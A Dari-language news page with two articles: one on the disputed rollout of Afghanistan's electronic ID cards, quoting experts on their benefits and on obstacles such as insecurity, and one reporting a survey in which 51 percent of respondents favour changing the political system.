توزیع تذکره‎های الکترونیکی به دلیل جنجال‎ها روی واژه دین و قوم، ماه‎ها و سال‎ها به تأخیر افتاد. اما در روزهای پایانی سال گذشته، کابینه حکومت وحدت ملی، ماده شش قانون ثبت احوال نفوس را تعدیل کرد که بر اساس این تعدیل، دین، قوم و ملیت درج تذکره‎های الکترونیکی خواهد شد. با این حال، برخی از نمایندگان پارلمان گفته‎اند در حالی که پارلمان وجود دارد، فرامین تقنینی بدون تصویب این نهاد نباید تطبیق شود. به گفته آن‎ها، قانون تذکره الکترونیکی، مصوب حکومت است و این اقدام حکومت مغایر روحیه حاکمیت قانون، دموکراسی و تعامل قوه مقننه و مجریه است. رییس ولسی جرگه نیز گفته که قانون ثبت احوال نفوس به ولسی جرگه رسیده و در کمیسیون امنیت داخلی بحث روی آن ادامه دارد.
به هر حال، بحث روی این مسایل بارها صورت گرفته و از زوایه‎های مختلف به آن پرداخته شده است. آنچه در آستانه‎ اجرای این برنامه اهمیت دارد، پرسش از پیامدها و موانع این پروسه است. به این معنا که باید روشن شود، توزیع تذکرههـای‎ الکـتـرونیکی چه پیامدهایی در افغانستان دارد و تحقق کامل و اجرای فراگیر آن با چه موانعی مواجه خواهد بود؟

ثبات و شفافیت
کارشناسان و مردم با تأکید بر سرنوشت‎ساز بودن پروسه توزیع تذکره‎های الکترونیکی معتقد هستند که اجرای این پروسه، کمک بزرگی به تأمین ثبات و شفافیت در پروسه‎‎های ملی و دموکراتیک خواهد کرد.
بسیاری از مردم بارومند اند که جلو نفوذ نیروهای مخالف و عناصر وابسته به گروه‎های مخل امنیت که آزادانه از کشورهای بیرون وارد کشور شده و یا هم با استفاده از اسناد ملی جعلی به امنیت و ثبات کشور ضربه می‎زنند، ناشی از نبود تذکره قابل اعتماد می‎باشد. محمدهاشم، شهروند کابل‎نشین که در سفر اخیرش به شمال شاهد تلاشی‎ نیروهای امنیتی و ارزیابی اسناد شناسایی آن‎ها بوده، می‎گوید: “شایعه‎ انتقال مخالفان مسلح به شمال کشور، باعث شده بود تا نیروهای امنیتی، تذکره‎های مسافران را در نقاط مختلف مسیر شمال بررسی کنند. کسانی هم که تذکره نداشتند، ناگزیر به پایین شدن از موتر و صرف نظر از سفر شمال بودند. با خود فکر کردم که داشتن یک سند ساده‎ای چون تذکره ورقی برای مخالفان کار آسانی است. لذا با تقلب این سند، خواهند توانست، عبور و مرور و نقل و انتقال افراد خود را تسهیل کنند.”
بـه گـفـتـه وی، اگــر سنــد مسـتحکـمــی چـــون تذکره الکترونیکی وجود داشته باشد و هر کدام از پوسته‎های تلاشی نیز به منبع این اسناد دسترسی داشته باشد، جلوگیری از چنین جرایمی آسان خواهد شد. کارشناسان نیز تأثیر داشتن اسناد الکترونیکی را که باعث شناسایی آسان افراد و شهروندان شود، راهکار اصلی جلوگیری از ارتکاب جرایم و جنایات می‎دانند.
علی‎رضا حسنی، جامعه‎شناس و استاد پوهنتون غرجستان، می‎گوید: “داشتن تذکره الکترونیکی در عصر دیجیتل یک ضرورت است و بسیاری از کشورها با استفاده از این سند جلو بسیاری از جرایم و جنایات را می‎گیرند. در صــورت صــدور تـذکره الکترونیکی، نهادهای امنیتی، قضایی و عدلی باید به منابع آن دسترسی داشته و از طریق آن افراد جانی و مجرم را شناسایی خواهند کرد. پیگیری و پیگرد عدلی و امنیتی افراد با استفاده از این اسناد، کار را برای نهادهای امنیتی و قضایی بسیار تسهیل خواهد کرد.”
عبدالشکور اخلاقی، کارشناس مسایل سیاسی، نیز معتقد است که “یکی از موضوعات بحث‏برانگیز در عرصه‏ دولتداری خــوب و طـرح مـسایــل ملی، توزیع تذکره‎ الکترونیکی است. اهمیت صدور تذکره‎ الکترونیکی از جهات مختلف قابل بیان است. در قدم نخست، میتوان عنوان کرد که صدور تذکره الکتـرونیـکــی و برخــورداری شهــرونــدان کشور از آن، در واقع اولین سند رسمی معتبری خواهد بود که در دستــرس شهروندان کشور قرار خواهد گرفت. تثبیت هویت ملی موضوع دیگری است که اهمیت تذکره الکترونیکی را برجسته میسازد. در جهان امروز و در کشورهای مدرن، تذکره الکترونیکی یکی از شاخصهای تعریف شده و پذیرفته شده هویت سرزمینی به شمار میآید. متأسفانه در کشور ما با آن که ادعاهای گزافی در مورد هویت ملی طرح میگردد اما هیچگونه نشانه‏ای که موجودیت و عینیت هویت ملی را از یک آرزو و شعار به واقعیت بدل سازد، حتا در حد برخورداری از یک سند ملی، وجود ندارد. نکته مهم دیگری که در این ارتباط وجود دارد این است که توزیع تذکره‎ الکترونیکی در عصر حاضر، که عصر دیجیتلی نیز نامیده میشود، میتواند کارکرد اساسی و تسهیل‎کننده در تمام امور به همراه داشته باشد. بدین جهت است که بسیاری از کشورها و دولتها سعی دارند نه تنها تذکره‎های ملــی خــود بـل تمام اسناد ملی خود را دیجیتلی و الکترونیکی سازند.”
اما این موارد، تنها پیامدهای توزیع تذکره الکترونیکی نخواهد بود. مسأله‎ سرنوشت‎ساز و حیاتی دیگر، کاربرد آن در پروسه‎های دموکراتیک و اداری است. بنابراین، یکی از موارد پر کاربرد و بسیار بااهمیت تذکره الکترونیکی در عرصه‏ انتخابات و شفافیت آن است. تقویت سیستم دیجیتلی در کشور و دستگاههای اجرایی و عملی به‏ویژه در زمینه انتخابات از مرحله مشارکت و رای‏دهی تا شمارش و اعلام نتایج آن از اهمیت به سزا و تعیین‏کننده‎ای برخوردار است.
جان آقا غزنوی، آگاه امور سیاسی- اجتماعی، با اشاره به این نکته می‎گوید: “چیزی که وجود این سند ملی را در جامعه به طور خاص برجسته‏تر میسازد میزان تعیین جمعیت کشور و دقیق ساختن آمار جمعیت و کتلههای گوناگونی است که ترکیب اجتماعی افغانستان را تشکیل میدهند. در شرایط کنونی، افزون بر محروم بودن از امتیازات یادشده به خاطر نبود تذکره الکترونیکی، یکی دیگر از مشکلات، ادعاهای غیردقیق و جهت‏دار درباره جمعیت کشور و چگونگی ترکیب آن است که یا به شکل سلیقه‏یی و یا غیرمعیاری درباره آن ادعاهایی مطرح میشود. متأسفانه این ادعاها فقط در دایره ادعا باقی نمانده بل پیامدهای خواسته و ناخواسته سیاسی و اجتماعی نیز به خود گرفته است.”
با این حساب، اگر روند توزیع تذکره الکترونیکی آغاز و عملی شود، پیامدهای آن در کشور بسیار حیاتی و سرنوشت‎ساز خواهد بود. اما پرسش بعدی این است که آیا این پروژه عملی خواهد شد و با چه موانعی مواجه است که ممکن است جلو اجرایی شدن آن را بگیرد؟

موانع توزیع تذکره الکترونیکی
در حالی ‎که بر اساس فرمان تازه رییس جمهور باید شاهد شروع روند توزیع تذکره الکترونیکی تا سه ماه دیگر باشیم، کارشناسان اما موانع فراروی این پروسه را برجسته و عمده می‎دانند. علی راحل، نویسنده و تحلیل‎گر، باورمند است که “هنوز نگرانیها و چالشهای سنگین و بزرگی در این مسیر وجود دارد که هر کدام به سهم خود میتواند مانع تحقق کامل، همهجانبه، دقیق و درست توزیع تذکره الکترونیکی شود.” به باور وی، “یکی از مهمترین چالشهای موجود در این زمینه، ناامنی است. هنوز هیچ تضمین مطمئنی وجود ندارد که در بیش از ۴۰ درصد خاک کشور که گفته میشود در کنترول نیروهای مسلح مخالف دولت قرار دارد، در عمل امکان توزیع تذکره‎  الکترونیکی وجود داشته باشد.”
به باور آگاهان، در چنین شرایطی، شاید همهچیز به وسیله تضمینهایی که از سوی نیروهای مسلح و نهادهای امنیتی، داده میشود، بستگی نداشته باشد. ضمن آن که اگر این نیروها قدرت تأمین امنیت برای توزیع تذکره‎ الکترونیکی را داشته باشند، این به معنای آن است که به این بهانه، تکلیف تروریزم نیز روشن خواهد شد و حوزه سیطره دولت به مناطق وسیعی از خاک کشور، گسترش پیدا خواهد کرد. آیا این امکان واقعاً وجود دارد؟
اگر پاسخ منفی باشد، راه دوم این است که دولت با گروههای مسلح مسلط بر ۴۰ درصد خاک کشور، به توافقی برای همکاری آن‎ها در روند توزیع این تذکره دست پیدا کند. توافقی که مشخص نیست اساساً دستیافتنی هست یا نه؛ زیرا این مهم نیز وابسته به مسایل جانبی زیادی است. یکی این که دولت تنها با یک گروه مسلح شناختهشده با آدرس و نشانی مشخص، روبهرو نیست. بر پایه ادعاها، هماکنون ۲۰ گروه تروریستی بینالمللی در افغانستان، فعال هستند که هر کدام در منطقه خاصی، از قدرت بلامنازع برخورداراند. دولت با همه این گروهها در حال جنگ به سر میبرد.
چالش دوم این است که هر یک از نیروهای تروریستی فعال در کشور، حامیان و همکاران خارجی خاصی دارند که به منظور رسیدن به منافع غیرمشروع خود، اقدام به ایجاد، تقویت و برجسته‎سازی تروریزم در افغانستان میکنند. پس توافق با هر یک از این گروهها در زمینه توزیع تذکره‎ الکترونیکی، مستلزم تحقق این پیششرط هــم هســت کــه پروسه توزیع تذکره‎، لزوماً با منافع استراتیژیک رژیمهای خارجی حامی تروریزم در افغانستان، پیوند داشته باشد و یا دستکم به منافع آن‎ها آسیب نرساند.
این در حالی است که برخی از این گروهها تنها به این منظور در افغانستان حضور و فعالیت دارند که مانع از تحقق هرگونه پروژه موفقیتآمیز منسوب به دولت شوند. با این حساب، دشوار است که بتوان تصور کرد که پروسه توزیع تذکره‎ الکترونیکی بی‎هیچ چالشی تطبیق شود و به انجام برسد.
با تمام این چالش‎ها و موانعی که کارشناسان به آن اشاره می‎کنند، اگر تذکره الکترونیکی توزیع شده و این روند اجرایی گردد، موفقیت بزرگی برای دولت و یک مسأله‎ حیاتی برای ملت به حساب خواهد آمد.

۵۱ درصد مردم افغانستان خواستار تغییر نظام سیاسی هستند

پژوهشگران یک مرکز تحقیقاتی در افغانستان با انتشار نتایج یک نظرسنجی گفته‌اند که ۵۱ درصد مردم خواستار تغییر نظام سیاسی در این کشور هستند.

به گزارش اندیشه نو، محمدامین احمدی پژوهشگر مرکز مطالعات استراتژیک افغانستان گفت که ۵۱ درصد از شرکت‌کنندگان این نظرسنجی از تغییر نظام و ۴۹ درصد از نظام کنونی حمایت کرده‌اند.

این نظرسنجی در ۱۰ ولایت (بامیان، بدخشان، بلخ، غزنی، غور، قندهار، کابل، کندوز، ننگرهار و هرات) با شرکت ۸۰۰ نفر در هشت دسته ذی‌نفع از آغاز سال جاری میلادی مشارکت داشته‌اند.

علاوه بر آن‌ها، ۳۴ نفر از “نخبگان” شامل اعضای مجلس، حقوق‌دانان، مقام‌های دولتی، افراد دخیل در تهیه و بررسی قانون اساسی و اعضای لویه جرگه تصویب قانون اساسی، فعالان مدنی، استادان دانشگاه و روزنامه‌نگاران هم شرکت کرده‌اند.

آقای احمدی گفت که ۲۹ درصد از کل مصاحبه‌شوندگان از نظام پارلمانی، ۲۲ درصد دیگر از نظام نیمه‌ریاستی که در آن قدرت بین رئیس جمهوری و نخست‌وزیر تقسیم شده باشد، حمایت کردند که مجموع آن‌ها به ۵۱ درصد می‌رسد.

او افزود که ۴۹ درصد از مصاحبه‌شوندگان از نظام ریاستی حمایت کردند ـ نظامی که در قانون اساسی فعلی آمده است و در آن تنها رئیس جمهوری قدرت را به دست دارد و مجلس نمی‌تواند او را استیضاح یا برکنار کند.

عبدالله عبدالله رئیس اجرایی نیز در همین برنامه “قانون اساسی و جامعۀ در حال گذار افغانستان ارزیابی دیدگاه‌ها و پیشنهادهای عمومی برای تعدیل قانون اساسی” سخنرانی می‌کرد، گفت طرفدار نظام پارلمانی است.

او گفت، با درنظرداشت تعهدات باید لویه جرگه برگزار می‌شد؛ اما نشد. ولی تأکید کرد “حالا شرایط‌ برگزاری انتخابات ولسوالی‌ها مساعد نیست منطق این را درک می‌کنم ولی از لحاظ تعهد و التزام به قانون اساسی اگر این اصل هم پایمال شد، چیزی باقی نمی‌ماند”.

رئیس اجرایی اظهار امیدواری کرد که با برگزاری انتخابات ولسی جرگه، لویه جرگه را که قانون اساسی پیش‌بینی کرده است، دایر گردد.

در همین حال رنگین دادفر اسپنتا مشاور پیشین شورای امنیت ملی افغانستان به خبرنگاران گفت از همان نخست مخالف نظام ریاستی متمرکز بوده اند و افغانستان به سیستم کمتر متمرکز نیاز دارد.

آقای اسپنتا اعتراف کرد که مقام‌های حکومت پیشین قانون اساسی را در مواردی نقض می‌کردند؛ ولی او در مورد تدویر لویه جرگۀ قانون اساسی شک دارد.

وی افزودک “آیا حکومت افغانستان واقعاً می‌تواند که مطابق به ایجابات قانون و در چارچوب قانون، قانون اساسی افغانستان را تعدیل و اصلاح کند؟ در این مورد با توازن قدرت و اراده‌های مشکوکی که وجود دارد به عنوان شهروند می‌توان شک داشت”.

آقای اسپنتا هم‌چنان گفت که مشکلات بسیار زیاد و جدی در ادبیات قانون اساسی وجود دارد.

از سوی دیگر در تحقیق مرکز مطالعات استراتیژیک افغانستان، دربارۀ نظارت از قانون اساسی، ۹.۲ درصد خواستار بیشتر شدن نظارت شده اند، ۳۶ درصد گفته اند که نظارت کم صورت می‌گیرد، ۳۴درصد گفته اند که از طریق ایجاد محکمۀ قانون اساسی نظارت بهتر از تطبیق قانون اساسی خواهد شد و ۳۰.۵ درصد دیگر خواستار تقویت کمیسیون نظارت بر تطبیق قانون اساسی بوده اند.

از فروشگاه ما دیدن فرمایید رد کردن